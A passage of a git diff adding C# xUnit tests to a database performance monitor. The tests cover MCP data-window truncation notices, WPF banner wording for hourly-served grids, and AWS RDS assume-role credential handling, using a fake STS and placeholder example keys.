+        var notice = await DarlingMcpWindowNotice.ReadAsync(
+            () => throw new OperationCanceledException("the probe's own deadline"), s_start, s_start + TimeSpan.FromDays(7), "query_snapshots",
+            cancellationToken: CancellationToken.None);
+        Assert.True(notice.IsUnavailable);
+    }
+
+    private sealed class CapturingLogger : ILogger
+    {
+        public List<LogLevel> Levels { get; } = [];
+
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+        public bool IsEnabled(LogLevel logLevel) => true;
+
+        public void Log<TState>(LogLevel logLevel, EventId eventId, TState state, Exception? exception, Func<TState, Exception?, string> formatter) =>
+            Levels.Add(logLevel);
+    }
+
+    /// <summary>#4966: an answer with rows over a window of 90 minutes or less never asks the store, and is covered at the start that was asked for.</summary>
+    [Theory]
+    [InlineData(60)]
+    [InlineData(90)]
+    public async Task ARowsAnswer_OverNinetyMinutesOrLess_MakesNoProbe_AndIsCoveredAtTheAskedStart(int minutes)
+    {
+        var (notice, probes) = await ReadAsync(TimeSpan.FromMinutes(minutes), s_start.AddMinutes(80), emptyAnswer: false);
+
+        Assert.Equal(0, probes);
+        Assert.Equal(McpHelpers.FormatEffectiveStart(s_start), notice.EffectiveStart);
+        Assert.False(notice.WindowTruncated);
+        Assert.Null(notice.TruncationNote);
+    }
+
+    [Fact]
+    public async Task ARowsAnswer_PastNinetyMinutes_IsProbed_AndAFloorWithinTheSlackIsStillCovered()
+    {
+        var (notice, probes) = await ReadAsync(TimeSpan.FromMinutes(91), s_start.AddMinutes(90), emptyAnswer: false);
+
+        Assert.Equal(1, probes);
+        Assert.False(notice.WindowTruncated);
+        Assert.Null(notice.TruncationNote);
+        Assert.Equal(McpHelpers.FormatEffectiveStart(s_start.AddMinutes(90)), notice.EffectiveStart);
+    }
+
+    /// <summary>An empty answer is probed at any length, and a probe that finds nothing says NOT covered, with the sentence Lite says.</summary>
+    [Fact]
+    public async Task AnEmptyAnswer_AtSixtyMinutes_IsProbed_AndANullFloorIsNotCovered()
+    {
+        var (notice, probes) = await ReadAsync(TimeSpan.FromMinutes(60), floor: null, emptyAnswer: true);
+
+        Assert.Equal(1, probes);
+        Assert.Null(notice.EffectiveStart);
+        Assert.True(notice.WindowTruncated);
+        Assert.Equal(NotCoveredHead + NotCoveredTail, notice.TruncationNote);
+    }
+
+    [Fact]
+    public async Task AnEmptyAnswer_WhoseProbeFindsCoverage_IsCoveredAtTheFloor_OrTheStartWhenTheFloorIsEarlier()
+    {
+        var (inside, _) = await ReadAsync(TimeSpan.FromMinutes(60), s_start.AddMinutes(35), emptyAnswer: true);
+        Assert.Equal(McpHelpers.FormatEffectiveStart(s_start.AddMinutes(35)), inside.EffectiveStart);
+        Assert.False(inside.WindowTruncated);
+        Assert.Null(inside.TruncationNote);
+
+        var (before, _) = await ReadAsync(TimeSpan.FromMinutes(60), s_start.AddDays(-3), emptyAnswer: true);
+        Assert.Equal(McpHelpers.FormatEffectiveStart(s_start), before.EffectiveStart);
+        Assert.False(before.WindowTruncated);
+    }
+
+    [Fact]
+    public async Task AFloorPastTheSlack_IsTruncated_NamesTheTable_AndCarriesTheTail()
+    {
+        var floor = s_start.AddDays(2);
+        var (notice, probes) = await ReadAsync(TimeSpan.FromDays(7), floor, emptyAnswer: false, tail: "More.");
+
+        Assert.Equal(1, probes);
+        Assert.True(notice.WindowTruncated);
+        Assert.Equal(McpHelpers.FormatEffectiveStart(floor), notice.EffectiveStart);
+        Assert.EndsWith("Z", notice.EffectiveStart, StringComparison.Ordinal);
+        Assert.Equal(TruncatedSentence + " More.", notice.TruncationNote);
+        Assert.Equal(TruncatedSentence, (await ReadAsync(TimeSpan.FromDays(7), floor, emptyAnswer: false)).Notice.TruncationNote);
+    }
+
+    [Fact]
+    public void TheHints_CarryTheThreeKeys_WithTheSameValues()
+    {
+        var notice = DarlingMcpWindowNotice.Build(null, s_start, "waiting_tasks", emptyAnswer: true);
+        var json = System.Text.Json.JsonSerializer.SerializeToElement(notice.AsHints());
+
+        Assert.Equal(System.Text.Json.JsonValueKind.Null, json.GetProperty("effective_start").ValueKind);
+        Assert.True(json.GetProperty("window_truncated").GetBoolean());
+        Assert.Equal(notice.TruncationNote, json.GetProperty("truncation_note").GetString());
+    }
+
+    /// <summary>
+    /// The two sentences are copies of Lite's (#4966), so a client reads one wording from either app. Lite's source is
+    /// read here and must hold each sentence as a string literal, and Darling's notice must be exactly those literals
+    /// with the table put in. A reword on one side fails until the other follows.
+    /// </summary>
+    [Fact]
+    public void TheNoticeSentences_EqualLitesText()
+    {
+        var lite = ReadRepoFile("Lite", "Mcp", "McpQueryTools.cs").ReplaceLineEndings("\n");
+
+        const string head = "The store holds no collection of {table} for this server in this window, so nothing was read, and this empty answer is not a report that nothing happened. ";
+        Assert.Contains("$\"" + head + "\"", lite, StringComparison.Ordinal);
+        Assert.Contains("\"" + NotCoveredTail + "\"", lite, StringComparison.Ordinal);
+        Assert.Equal(NotCoveredHead + NotCoveredTail, DarlingMcpWindowNotice.Build(null, s_start, "query_snapshots", emptyAnswer: true).TruncationNote);
+
+        const string listHead = "The store holds no collection of {table} for this server in this window, so no windowed rows were read, and a list with no rows is not a report that nothing happened. ";
+        Assert.Contains("$\"" + listHead + "\"", lite, StringComparison.Ordinal);
+        Assert.Equal(
+            listHead.Replace("{table}", "query_snapshots", StringComparison.Ordinal) + NotCoveredTail,
+            DarlingMcpWindowNotice.Build(null, s_start, "query_snapshots", listOnly: true).TruncationNote);
+
+        const string truncated = "The window reaches further back than this server's raw {table} retains (or this server has been monitored for less time than that), so the older part of it was not read.";
+        Assert.Contains("$\"" + truncated + "\"", lite, StringComparison.Ordinal);
+        Assert.Equal(TruncatedSentence, DarlingMcpWindowNotice.Build(s_start.AddDays(1), s_start, "query_snapshots").TruncationNote);
+    }
+
+    /// <summary>The helper probes with GetAsync: GetForServerAsync answers null for a window of 90 minutes or less, which an empty answer would read as "not covered".</summary>
+    [Fact]
+    public void TheHelperProbes_WithGetAsync_NeverGetForServerAsync()
+    {
+        var source = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpWindowNotice.cs");
+        Assert.Contains("DataWindowFloor.GetAsync(", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("GetForServerAsync(", source.Replace("<see cref=\"DataWindowFloor.GetForServerAsync\"/>", ""), StringComparison.Ordinal);
+    }
+
+    /// <summary>The floor walks each table's index in time order, so the walk stops at the first row it meets.</summary>
+    [Theory]
+    [InlineData("query_stats")]
+    [InlineData("procedure_stats")]
+    [InlineData("query_store_stats")]
+    public void EveryRawFloorTable_HasTheIndexTheWalkUses(string table) =>
+        Assert.True(DataWindowFloor.Source.TryForCollectorTable(table, out _));
+
+    /// <summary>
+    /// Every MCP tool takes its served start from <see cref="RawWindowFloor.EffectiveStart"/> and its truncation
+    /// verdict from <see cref="RawWindowFloor.IsTruncated"/>, so none reports a start before the window it was asked
+    /// about, and none keeps a tolerance of its own. The clutter tool once restated the 90 minutes as a private
+    /// constant and compared the floor with <c>requestedStart +</c> by hand, a copy that went stale when the floor
+    /// stopped being the first row inside the window. The lines below are the ways a tool computes either by hand.
+    /// </summary>
+    [Fact]
+    public void NoMcpTool_ComputesTheServedStartByHand()
+    {
+        var byHand = new[]
+        {
+            "floor ?? requestedStart",
+            "WindowFloorTolerance",
+            "FromMinutes(90)",
+            "requestedStart +",
+            "requestedStart.Add(",
+        };
+
+        var found = new List<string>();
+        foreach (var file in new[] { "DarlingMcpDataTools.cs", "DarlingMcpQueryStoreClutterTools.cs", "DarlingMcpQueryStoreHistoryTools.cs" })
+        {
+            var text = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", file);
+            foreach (var line in byHand)
+            {
+                if (text.Contains(line, StringComparison.Ordinal))
+                {
+                    found.Add(file + " has `" + line + "`");
+                }
+            }
+        }
+
+        Assert.True(found.Count == 0, "an MCP tool computes the served start or the truncation verdict by hand: " + string.Join("; ", found));
+    }
+}
diff --git a/Darling/Darling.Tests/RawWindowFloorViewerPortTests.cs b/Darling/Darling.Tests/RawWindowFloorViewerPortTests.cs
index 6382d17b02..527784c1cd 100644
--- a/Darling/Darling.Tests/RawWindowFloorViewerPortTests.cs
+++ b/Darling/Darling.Tests/RawWindowFloorViewerPortTests.cs
@@ -33,7 +33,7 @@ public sealed class RawWindowFloorViewerPortTests
     [Fact]
     public void UpdateTruncationBanner_ShowsSinceEffectiveStart_WhenTheFloorIsPastTheSlack()
     {
-        OnStaThread(() =>
+        StaTestThread.Run(() =>
         {
             var banner = new TextBlock();
             var floor = RequestedStart.AddDays(3);
@@ -48,7 +48,7 @@ public void UpdateTruncationBanner_ShowsSinceEffectiveStart_WhenTheFloorIsPastTh
     [Fact]
     public void UpdateTruncationBanner_StaysCollapsed_WhenTheFloorIsInsideTheSlack()
     {
-        OnStaThread(() =>
+        StaTestThread.Run(() =>
         {
             /* 30 minutes after the requested start — inside DurationTrendRouting.TruncationSlack's 90-minute
                allowance, so a normal cadence-start lag, not a retention cut (the #2364 / #4231 ruling). Seeded
@@ -65,7 +65,7 @@ public void UpdateTruncationBanner_StaysCollapsed_WhenTheFloorIsInsideTheSlack()
     [Fact]
     public void UpdateTruncationBanner_StaysCollapsed_WhenTheProbeFoundNoFloorAtAll()
     {
-        OnStaThread(() =>
+        StaTestThread.Run(() =>
         {
             var banner = new TextBlock();
 
@@ -75,26 +75,6 @@ public void UpdateTruncationBanner_StaysCollapsed_WhenTheProbeFoundNoFloorAtAll(
         });
     }
 
-    /// <summary>WPF objects require STA; same shape as Lite.Tests' MainWindowAccessKeyTests / Dashboard.Tests'
-    /// DataGridExport tests.</summary>
-    private static void OnStaThread(Action body)
-    {
-        Exception? error = null;
-        var thread = new Thread(() =>
-        {
-            try { body(); }
-            catch (Exception ex) { error = ex; }
-        });
-        thread.SetApartmentState(ApartmentState.STA);
-        thread.Start();
-        thread.Join();
-
-        if (error is not null)
-        {
-            throw error;
-        }
-    }
-
     private static string ViewerFile(string file) => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", file);
 
     [Theory]
@@ -114,7 +94,7 @@ makes the same check on the MCP reader. */
     [Fact]
     public void UpdateTruncationBanner_TableServed_NamesTheEffectiveStartAndTheBound_AndTheRawSlicerFloor()
     {
-        OnStaThread(() =>
+        StaTestThread.Run(() =>
         {
             var wideStart = RequestedStart.AddDays(1);
             var plan = new QueryStoreIntervalWide.WideReadPlan(
@@ -145,11 +125,75 @@ public void UpdateTruncationBanner_TableServed_NamesTheEffectiveStartAndTheBound
         });
     }
 
+    /* #5329: an hourly-served grid starts at this server's first bucket, so "Showing since" names THAT start, and raw's floor (which
+       only the slicer and the comparison read) is the slicer's. The hourly tier suffix still follows. */
+    [Fact]
+    public void UpdateTruncationBanner_HourlyServed_NamesTheGridsStart_AndRawsFloorAsTheSlicers()
+    {
+        StaTestThread.Run(() =>
+        {
+            const string Suffix = " - aggregated hourly";
+            var banner = new TextBlock();
+
+            /* Hourly keeps more than raw: the grid starts a day in, raw's floor is four days in. */
+            ViewerServerTab.UpdateTruncationBanner(banner, RequestedStart.AddDays(4), RequestedStart, Suffix,
+                hourly: new ViewerServerTab.HourlyServed(RequestedStart.AddDays(1)));
+            Assert.StartsWith("Showing since ", banner.Text, StringComparison.Ordinal);
+            Assert.Contains(" · slicer since ", banner.Text, StringComparison.Ordinal);
+            Assert.EndsWith(Suffix, banner.Text, StringComparison.Ordinal);
+            var gridOnly = new TextBlock();
+            ViewerServerTab.UpdateTruncationBanner(gridOnly, null, RequestedStart, Suffix,
+                hourly: new ViewerServerTab.HourlyServed(RequestedStart.AddDays(1)));
+            Assert.StartsWith("Showing since ", gridOnly.Text, StringComparison.Ordinal);
+            Assert.DoesNotContain("slicer", gridOnly.Text, StringComparison.Ordinal);
+
+            /* A late hourly start after an aligned window start is named even when raw reaches the start. */
+            var late = new TextBlock();
+            ViewerServerTab.UpdateTruncationBanner(late, RequestedStart, RequestedStart, Suffix,
+                hourly: new ViewerServerTab.HourlyServed(RequestedStart.AddHours(5)));
+            Assert.StartsWith("Showing since ", late.Text, StringComparison.Ordinal);
+            Assert.DoesNotContain("slicer", late.Text, StringComparison.Ordinal);
+
+            /* A start inside the slack is the hour alignment alone: the banner names the window, not a "since". */
+            var aligned = new TextBlock();
+            ViewerServerTab.UpdateTruncationBanner(aligned, null, RequestedStart, Suffix,
+                hourly: new ViewerServerTab.HourlyServed(RequestedStart.AddHours(1)));
+            Assert.StartsWith("Showing 2", aligned.Text, StringComparison.Ordinal);
+            Assert.DoesNotContain("since", aligned.Text, StringComparison.Ordinal);
+
+            /* No bucket at all (an empty grid) with a cut raw floor: the slicer's shortfall only. */
+            var none = new TextBlock();
+            ViewerServerTab.UpdateTruncationBanner(none, RequestedStart.AddDays(4), RequestedStart, Suffix,
+                hourly: new ViewerServerTab.HourlyServed(null));
+            Assert.StartsWith("Slicer since ", none.Text, StringComparison.Ordinal);
+            Assert.DoesNotContain("full window", none.Text, StringComparison.Ordinal);
+
+            /* #5329: the usual hourly route (a cut raw floor, a first bucket inside the slack, and an edges note that says the
+               grid stops short) must not say "the grid shows the full window": that is the wide plan's claim. */
+            const string Edges = " - aggregated hourly. Window edges: the data from a to b is not included";
+            var usual = new TextBlock();
+            ViewerServerTab.UpdateTruncationBanner(usual, RequestedStart.AddDays(4), RequestedStart, Edges,
+                hourly: new ViewerServerTab.HourlyServed(RequestedStart.AddHours(1)));
+            Assert.DoesNotContain("full window", usual.Text, StringComparison.Ordinal);
+            Assert.StartsWith("Showing 2", usual.Text, StringComparison.Ordinal);
+            Assert.Contains(" · slicer since ", usual.Text, StringComparison.Ordinal);
+            Assert.EndsWith(Edges, usual.Text, StringComparison.Ordinal);
+
+            /* An empty grid (no bucket) names no start for it, and makes no full-window claim, with or without a cut raw floor. */
+            var emptyNoSlicer = new TextBlock();
+            ViewerServerTab.UpdateTruncationBanner(emptyNoSlicer, null, RequestedStart, Edges,
+                hourly: new ViewerServerTab.HourlyServed(null));
+            Assert.DoesNotContain("full window", emptyNoSlicer.Text, StringComparison.Ordinal);
+            Assert.DoesNotContain("Showing", emptyNoSlicer.Text, StringComparison.Ordinal);
+            Assert.StartsWith("No rollup bucket in the window", emptyNoSlicer.Text, StringComparison.Ordinal);
+        });
+    }
+
     [Fact]
     public void UpdateTruncationBanner_WideBranch_NamesTheSlicerFloor_WhetherOrNotTheGridWasCut()
     {
         var tab = ViewerFile("ViewerServerTab.Queries.cs");
-        var start = tab.IndexOf("if (widePlan?.EffectiveStart is DateTime wideStart)", StringComparison.Ordinal);
+        var start = tab.IndexOf("if (servedStart is not null || hourlyServed)", StringComparison.Ordinal);
         Assert.True(start >= 0);
         var branch = tab[start..tab.IndexOf("return;", start, StringComparison.Ordinal)];
         Assert.Contains("var slicerTruncated = RawWindowFloor.IsTruncated(floor, requestedStartUtc);", branch, StringComparison.Ordinal);
@@ -171,8 +215,8 @@ public void QueryStoreGrid_BindsThePlansReadStart_AndPassesThePlanToTheBanner()
 
         var tab = ViewerFile("ViewerServerTab.Queries.cs");
         Assert.Contains("GetQueryStoreTopQueriesWithReachAsync(", tab, StringComparison.Ordinal);
-        Assert.Contains("UpdateTruncationBanner(QueryStoreTruncationBanner, await floorTask, startUtc, widePlan: widePlan)", tab, StringComparison.Ordinal);
-        Assert.Contains("QueryStoreIntervalWide.BannerReason(widePlan.Value.StartBound)", tab, StringComparison.Ordinal);
+        Assert.Contains("UpdateTruncationBanner(QueryStoreTruncationBanner, await DataStartOrNullAsync(floorTask, \"Query Store\"), startUtc, widePlan: widePlan)", tab, StringComparison.Ordinal);
+        Assert.Contains("QueryStoreIntervalWide.BannerReason(widePlan!.Value.StartBound)", tab, StringComparison.Ordinal);
         Assert.DoesNotContain("interval table keeps 9 days", tab, StringComparison.Ordinal);
         Assert.Contains(" · slicer since ", tab, StringComparison.Ordinal);
     }
diff --git a/Darling/Darling.Tests/RdsAssumeRoleSeamTests.cs b/Darling/Darling.Tests/RdsAssumeRoleSeamTests.cs
new file mode 100644
index 0000000000..c2582e0063
--- /dev/null
+++ b/Darling/Darling.Tests/RdsAssumeRoleSeamTests.cs
@@ -0,0 +1,391 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Amazon;
+using Amazon.RDS;
+using Amazon.RDS.Model;
+using Amazon.Runtime;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Targets;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Where a server's own AWS role meets the RDS readers (#5452): the clients every call uses, the host check that runs
+/// under the same role, a role edit that reconnects, and the worker arm that records a role the service cannot use. Each
+/// test builds the real ingestor or log source over a fake STS and a recording RDS client, so no AWS call is made.
+/// </summary>
+public sealed class RdsAssumeRoleSeamTests
+{
+    private const string Role = "arn:aws:iam::123456789012:role/darling-monitor";
+    private const string OtherRole = "arn:aws:iam::123456789012:role/darling-other";
+    private const string ExternalId = "ext-7Hq2mZ9vLx";
+    private const string InstanceHost = "solo.abc123.us-east-1.rds.amazonaws.com";
+    private const string ConnectionString = "Host=solo.abc123.us-east-1.rds.amazonaws.com;Username=u;Database=d";
+    private const string ProcessAccessKey = "AKIAPROCESSEXAMPLE";
+    private const string AssumedAccessKey = "ASIAEXAMPLEASSUMED";
+
+    private static readonly AwsRoleKey KeyA = new(Role, ExternalId);
+
+    private static RdsEndpointVerifier Enforcing()
+        => RdsEndpointVerifier.ForTests(enforce: true, loginProbe: (_, _) => Task.FromResult<string?>(null));
+
+    private static NpgsqlDataSource UnusedDataSource() => NpgsqlDataSource.Create("Host=localhost;Port=1;Database=unused");
+
+    private static AwsRoleCredentialCache Cache(FakeSts sts, params string[] allowed)
+        => new(AwsRoleAllowlist.From(allowed), () => "install-1", sts.Factory, FakeSts.Source, new ManualTimeProvider(), null, null);
+
+    /// <summary>An RDS client that records the access key each Describe call was signed with.</summary>
+    private sealed class RecordingRds : AmazonRDSClient
+    {
+        private readonly AWSCredentials _credentials;
+
+        public RecordingRds(AWSCredentials credentials) : base(credentials, RegionEndpoint.USEast1) => _credentials = credentials;
+
+        public List<string> InstanceDescribeKeys { get; } = [];
+
+        public List<string> OtherKeys { get; } = [];
+
+        public override async Task<DescribeDBInstancesResponse> DescribeDBInstancesAsync(
+            DescribeDBInstancesRequest request, CancellationToken cancellationToken = default)
+        {
+            InstanceDescribeKeys.Add((await _credentials.GetCredentialsAsync()).AccessKey);
+
+            return new DescribeDBInstancesResponse
+            {
+                DBInstances = [new DBInstance { Endpoint = new Endpoint { Address = InstanceHost }, DbiResourceId = "db-EXAMPLE" }],
+            };
+        }
+
+        public override async Task<DescribeDBLogFilesResponse> DescribeDBLogFilesAsync(
+            DescribeDBLogFilesRequest request, CancellationToken cancellationToken = default)
+        {
+            OtherKeys.Add((await _credentials.GetCredentialsAsync()).AccessKey);
+
+            return new DescribeDBLogFilesResponse
+            {
+                DescribeDBLogFiles = [new DescribeDBLogFilesDetails { LogFileName = "error/postgresql.log.2026-08-25-18", LastWritten = 1000 }],
+            };
+        }
+
+        public override async Task<DownloadDBLogFilePortionResponse> DownloadDBLogFilePortionAsync(
+            DownloadDBLogFilePortionRequest request, CancellationToken cancellationToken = default)
+        {
+            OtherKeys.Add((await _credentials.GetCredentialsAsync()).AccessKey);
+
+            return new DownloadDBLogFilePortionResponse { LogFileData = string.Empty, Marker = "M" };
+        }
+    }
+
+    /// <summary>The role-aware factory a test hands the log source: process credentials for no role, the cache's handle for a role.</summary>
+    private sealed class Clients
+    {
+        private readonly AwsRoleCredentialCache _cache;
+
+        public Clients(AwsRoleCredentialCache cache) => _cache = cache;
+
+        public List<RecordingRds> Built { get; } = [];
+
+        public Func<string, AwsRoleKey?, IAmazonRDS> Factory => (region, role) =>
+        {
+            var client = new RecordingRds(role is null
+                ? new BasicAWSCredentials(ProcessAccessKey, "example-process-secret")
+                : _cache.For(role.Value, region));
+            Built.Add(client);
+            return client;
+        };
+
+        public IEnumerable<string> InstanceDescribeKeys => Built.SelectMany(c => c.InstanceDescribeKeys);
+    }
+
+    private static Task<RdsLogSource.LogChunk?> ReadAsync(RdsLogSource source, AwsRoleKey? role)
+        => source.ReadNewestAsync(InstanceHost, RdsLogSource.LogFileKind.Stderr, 7, CancellationToken.None, ConnectionString, role);
+
+    /* ---- the host check runs under the role ----------------------------------------------------------------- */
+
+    [Fact]
+    public async Task HostCheck_UnderARole_UsesTheAssumedCredentials_NotTheProcessOnes()
+    {
+        var sts = new FakeSts();
+        var clients = new Clients(Cache(sts, Role));
+        var source = new RdsLogSource(roleClientFactory: clients.Factory, verifier: Enforcing());
+
+        await ReadAsync(source, KeyA);
+
+        Assert.Equal([AssumedAccessKey], clients.InstanceDescribeKeys.ToArray());
+        Assert.All(clients.Built.SelectMany(c => c.OtherKeys), key => Assert.Equal(AssumedAccessKey, key));
+        var request = Assert.Single(sts.Requests);
+        Assert.Equal(Role, request.RoleArn);
+        Assert.Equal(ExternalId, request.ExternalId);
+    }
+
+    [Fact]
+    public async Task HostCheck_WithNoRole_KeepsTheProcessCredentials_AndMakesNoStsCall()
+    {
+        var sts = new FakeSts();
+        var clients = new Clients(Cache(sts, Role));
+        var source = new RdsLogSource(roleClientFactory: clients.Factory, verifier: Enforcing());
+
+        await ReadAsync(source, role: null);
+
+        Assert.Equal([ProcessAccessKey], clients.InstanceDescribeKeys.ToArray());
+        Assert.Equal(0, sts.Calls);
+    }
+
+    [Fact]
+    public async Task HostCheck_TheVerdictIsKeptPerRole_AndPerExternalIdPresence()
+    {
+        var sts = new FakeSts();
+        var clients = new Clients(Cache(sts, Role, OtherRole));
+        var source = new RdsLogSource(roleClientFactory: clients.Factory, verifier: Enforcing());
+
+        await ReadAsync(source, KeyA);
+        Assert.Single(clients.InstanceDescribeKeys);
+
+        // Same server, host and role: the held verdict answers, no second Describe.
+        await ReadAsync(source, KeyA);
+        Assert.Single(clients.InstanceDescribeKeys);
+
+        // A different role is a different scope: the check asks AWS again.
+        await ReadAsync(source, new AwsRoleKey(OtherRole, ExternalId));
+        Assert.Equal(2, clients.InstanceDescribeKeys.Count());
+
+        // The same role with the external ID removed is another scope too.
+        await ReadAsync(source, new AwsRoleKey(Role, null));
+        Assert.Equal(3, clients.InstanceDescribeKeys.Count());
+
+        // And back to no role at all.
+        await ReadAsync(source, role: null);
+        Assert.Equal(4, clients.InstanceDescribeKeys.Count());
+    }
+
+    [Fact]
+    public void CredentialScope_NamesTheRoleAndWhetherAnIdIsSet_NeverTheId()
+    {
+        Assert.Equal(Role + "|ext=set", KeyA.CredentialScope);
+        Assert.Equal(Role + "|ext=none", new AwsRoleKey(Role, null).CredentialScope);
+        Assert.Equal(Role + "|ext=none", new AwsRoleKey(Role, string.Empty).CredentialScope);
+        Assert.Equal(string.Empty, AwsRoleKey.ScopeOf(null));
+        Assert.DoesNotContain(ExternalId, KeyA.CredentialScope, StringComparison.Ordinal);
+    }
+
+    /* ---- a role edit reconnects ----------------------------------------------------------------------------- */
+
+    private static MonitoredServer Server(string? role = null, string? externalId = null) => new()
+    {
+        Name = "alpha-pg-01",
+        Host = InstanceHost,
+        Engine = "postgresql",
+        AwsRoleArn = role,
+        AwsExternalId = externalId,
+    };
+
+    [Fact]
+    public void ServerDefinitionEquals_ARoleOnlyEdit_IsADifferentDefinition()
+    {
+        Assert.True(DarlingWorker.ServerDefinitionEquals(Server(Role, ExternalId), Server(Role, ExternalId)));
+        Assert.False(DarlingWorker.ServerDefinitionEquals(Server(), Server(Role)));
+        Assert.False(DarlingWorker.ServerDefinitionEquals(Server(Role), Server()));
+        Assert.False(DarlingWorker.ServerDefinitionEquals(Server(Role, ExternalId), Server(OtherRole, ExternalId)));
+        Assert.False(DarlingWorker.ServerDefinitionEquals(Server(Role, ExternalId), Server(Role, "ext-another-id")));
+        Assert.False(DarlingWorker.ServerDefinitionEquals(Server(Role, ExternalId), Server(Role)));
+    }
+
+    [Fact]
+    public void ServerDefinitionEquals_BlankAndNullRoleAreTheSame_AndAnIdWithNoRoleIsIgnored()
+    {
+        Assert.True(DarlingWorker.ServerDefinitionEquals(Server(null), Server("  ")));
+        Assert.True(DarlingWorker.ServerDefinitionEquals(Server(null, ExternalId), Server()));
+    }
+
+    /* ---- a role the service cannot use never reaches AWS ---------------------------------------------------- */
+
+    private static async Task<AwsRoleAssumeException> NotAllowedFrom(string reader, AwsRoleCredentialCache cache)
+    {
+        var verifier = Enforcing();
+        Task call = reader switch
+        {
+            "cpu" => new RdsCpuIngestor(UnusedDataSource(), verifier: verifier, roles: cache)
+                .IngestAsync(1, "s", InstanceHost, ConnectionString, KeyA, CancellationToken.None),
+            "plan" => new RdsPlanIngestor(UnusedDataSource(), verifier: verifier, roles: cache)
+                .IngestAsync(1, "s", InstanceHost, false, ConnectionString, KeyA, CancellationToken.None),
+            "deadlock" => new RdsDeadlockIngestor(UnusedDataSource(), verifier: verifier, roles: cache)
+                .IngestAsync(1, "s", InstanceHost, false, false, ConnectionString, KeyA, CancellationToken.None),
+            "events" => new RdsLogEventIngestor(UnusedDataSource(), TestLogHashKeys.Fixed, verifier: verifier, roles: cache)
+                .IngestAsync(1, "s", InstanceHost, false, false, ConnectionString, KeyA, CancellationToken.None),
+            _ => throw new ArgumentOutOfRangeException(nameof(reader)),
+        };
+
+        var thrown = await Record.ExceptionAsync(() => call);
+
+        // The exact type: wrapped in an "unavailable" exception it would be read by its text, not by its kind.
+        return Assert.IsType<AwsRoleAssumeException>(thrown);
+    }
+
+    [Theory]
+    [InlineData("cpu")]
+    [InlineData("plan")]
+    [InlineData("deadlock")]
+    [InlineData("events")]
+    public async Task EveryReader_ARoleTheListDoesNotAllow_ThrowsTheRoleExceptionItself_AndMakesNoStsCall(string reader)
+    {
+        var sts = new FakeSts();
+
+        var ex = await NotAllowedFrom(reader, Cache(sts));
+
+        Assert.Equal(AwsRoleAssumeKind.NotAllowed, ex.Kind);
+        Assert.Equal(0, sts.Calls);
+        Assert.NotNull(DarlingWorker.AwsRoleConfigurationFault(ex));
+        Assert.DoesNotContain(ExternalId, ex.Message, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("cpu")]
+    [InlineData("plan")]
+    [InlineData("deadlock")]
+    [InlineData("events")]
+    public async Task EveryReader_AnStsDenial_ReachesTheWorkerAsAPermissionsFault_NotAsAnIamGrantGap(string reader)
+    {
+        var sts = new FakeSts((_, _) => throw FakeSts.Error(
+            "AccessDenied",
+            "User: arn:aws:sts::123456789012:assumed-role/monitoring-host/i-0abc is not authorized to perform: sts:AssumeRole on resource: " + Role));
+        var verifier = Enforcing();
+        var cache = Cache(sts, Role);
+
+        // A real AmazonRDSClient over the cache's credentials: the denial surfaces from the first signed request.
+        Task call = reader switch
+        {
+            "cpu" => new RdsCpuIngestor(UnusedDataSource(), verifier: verifier, roles: cache)
+                .IngestAsync(1, "s", InstanceHost, ConnectionString, KeyA, CancellationToken.None),
+            "plan" => new RdsPlanIngestor(UnusedDataSource(), verifier: verifier, roles: cache)
+                .IngestAsync(1, "s", InstanceHost, false, ConnectionString, KeyA, CancellationToken.None),
+            "deadlock" => new RdsDeadlockIngestor(UnusedDataSource(), verifier: verifier, roles: cache)
+                .IngestAsync(1, "s", InstanceHost, false, false, ConnectionString, KeyA, CancellationToken.None),
+            _ => new RdsLogEventIngestor(UnusedDataSource(), TestLogHashKeys.Fixed, verifier: verifier, roles: cache)
+                .IngestAsync(1, "s", InstanceHost, false, false, ConnectionString, KeyA, CancellationToken.None),
+        };
+
+        var ex = Assert.IsType<AwsRoleAssumeException>(await Record.ExceptionAsync(() => call));
+
+        Assert.Equal(AwsRoleAssumeKind.Denied, ex.Kind);
+        Assert.Same(ex, DarlingWorker.AwsRoleConfigurationFault(ex));
+
+        // The role arm sees through a wrapper that the arms after it would claim as a missing grant on the monitoring host's
+        // own IAM role, so the order of the arms is what keeps this row naming the role.
+        Assert.Same(ex, DarlingWorker.AwsRoleConfigurationFault(new RdsLogUnavailableException("wrapped", true, ex)));
+        Assert.Same(ex, DarlingWorker.AwsRoleConfigurationFault(new PiMetricsUnavailableException("wrapped", true, ex)));
+
+        var logger = new CapturingAwsLogger();
+        var note = DarlingWorker.AwsRoleFaultNote(logger, "alpha-pg-01", "pg_plan_capture", ex);
+
+        Assert.Equal(ex.Message, note);
+        Assert.Contains(Role, note, StringComparison.Ordinal);
+        Assert.Contains("with the external ID set on this server", note, StringComparison.Ordinal);
+        Assert.DoesNotContain("lacks a grant", note, StringComparison.Ordinal);
+        Assert.Contains("PERMISSIONS", logger.All, StringComparison.Ordinal);
+        Assert.Contains(Role, logger.All, StringComparison.Ordinal);
+        Assert.DoesNotContain(ExternalId, note + logger.All, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task AnStsFailureThatIsNotAConfiguration_IsNotClaimedByTheRoleArm_ButStillSurfacesUnwrapped()
+    {
+        var sts = new FakeSts((_, _) => throw FakeSts.Error("ExpiredToken", "The security token included in the request is expired"));
+        var ingestor = new RdsCpuIngestor(UnusedDataSource(), verifier: Enforcing(), roles: Cache(sts, Role));
+
+        var ex = Assert.IsType<AwsRoleAssumeException>(await Record.ExceptionAsync(
+            () => ingestor.IngestAsync(1, "s", InstanceHost, ConnectionString, KeyA, CancellationToken.None)));
+
+        Assert.Equal(AwsRoleAssumeKind.SourceCredentials, ex.Kind);
+        Assert.False(ex.IsConfiguration);
